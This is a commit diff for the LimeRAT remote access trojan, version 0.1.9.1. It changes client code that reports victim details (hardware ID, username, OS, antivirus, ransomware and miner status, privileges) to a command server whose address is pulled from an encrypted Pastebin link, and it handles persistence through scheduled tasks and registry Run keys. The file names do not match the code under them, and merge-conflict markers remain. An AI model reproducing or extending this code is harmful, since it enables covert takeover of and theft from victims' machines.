Update v0.1.9.1

Bugs fixed.

Author: Nyrotication

.vs/LimeRAT/v15/.suo

@@ -6,7 +6,7 @@
 
         Public Shared Sub Data(ByVal b As Byte())
             Try : C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) : Catch : End Try
-            Threading.Thread.Sleep(50)
+
             Dim EN As String = C_Encryption.AES_Decrypt(BS(b))
             Dim A As String() = Split(EN, SPL)
 

.vs/LimeRAT/v15/Server/sqlite3/storage.ide

@@ -50,7 +50,6 @@
 
         Public Shared Function HWID() As String 'http://www.codeproject.com/Articles/28678/Generating-Unique-Key-Finger-Print-for-a-Computer
             Try
-                ' Return IO.Path.GetRandomFileName
                 Dim tohash As String = Identifier("Win32_Processor", "ProcessorId")
                 tohash += "-" & Identifier("Win32_BIOS", "SerialNumber")
                 tohash += "-" & Identifier("Win32_BaseBoard", "SerialNumber")

.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm

@@ -1,9 +1,5 @@
 '##################################################################
-<<<<<<< HEAD
 '##        N Y A N   C A T  |||   Updated on Nov./27/2018        ##
-=======
-'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 '##################################################################
 '##                                                              ##
 '##                                                              ##
@@ -60,7 +56,7 @@ Namespace Lime
                 Dim createdNew As Boolean = False
                 C_Settings.MTX = New Threading.Mutex(True, C_ID.HWID, createdNew)
                 If Not createdNew Then
-                    End
+                       End
                 End If
 
                 If C_Settings.ANTI Then

.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal

@@ -1,4 +1,6 @@
-Namespace Lime
+Imports System.Collections.Generic
+
+Namespace Lime
 
     Public Class C_TcpClient
         Public Shared ENDOF As String = C_Settings.ENDOF
@@ -8,14 +10,9 @@
         Public Shared T1 As New Threading.Thread(AddressOf Connect)
         Public Shared isConnected As Boolean = False
         Public Shared MS As IO.MemoryStream = Nothing
-<<<<<<< HEAD
         Public Shared Tick As Threading.Timer = Nothing
         Public Shared x As Integer = 0
         Public Shared P As New List(Of Integer)
-=======
-        Public Shared Tick As System.Threading.Timer = Nothing
-        Public Shared KA As Integer = 0
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 
         Public Shared Sub Connect()
 
@@ -92,31 +89,31 @@ re:
                 C_Settings.HOST = "127.0.0.1"
                 C_Settings.PORT = 8989
 #Else
+
                 Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
                     Try
                         Dim myCredentials As New Net.NetworkCredential("", "")
                         WC.Credentials = myCredentials
                         Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
-                        C_Settings.HOST = Response.Split(":")(0)
-                        C_Settings.PORT = Response.Split(":")(1)
+                        ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
+                        Dim SPL = Split(Response, ":")
+                        C_Settings.HOST = SPL(0)
+                        Dim r As New Random
+                        C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
                         WC.Dispose()
                     Catch ex As Exception
                     End Try
                 End Using
 
 #End If
+
                 C.Connect(C_Settings.HOST, C_Settings.PORT)
                 isConnected = True
                 MS = New IO.MemoryStream
 
-<<<<<<< HEAD
                 Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.9.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL,
                                   C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
-=======
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
-                                  C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
                                   C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
 
                 Dim T As New Threading.TimerCallback(AddressOf PING)
@@ -153,7 +150,6 @@ re:
         Public Shared KAP As Integer = 0
         Public Shared Sub PING()
             Try
-                Threading.Thread.Sleep(1)
                 If P_Start Then i += 1
 
                 If P_Stop Then

Project/Client/C_Commands.vb

@@ -63,11 +63,8 @@
                 Try : Shell("schtasks /Delete /tn LimeRAT-Admin /F", AppWinStyle.Hide, False, -1) : Catch : End Try
                 Try : Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(EXE) : Catch : End Try
         End If
-            Try
-                Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\" & HWID)
-            Catch ex As Exception
-            End Try
 
+            Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\" & HWID)
             CriticalProcesses_Disable()
             Threading.Thread.Sleep(50)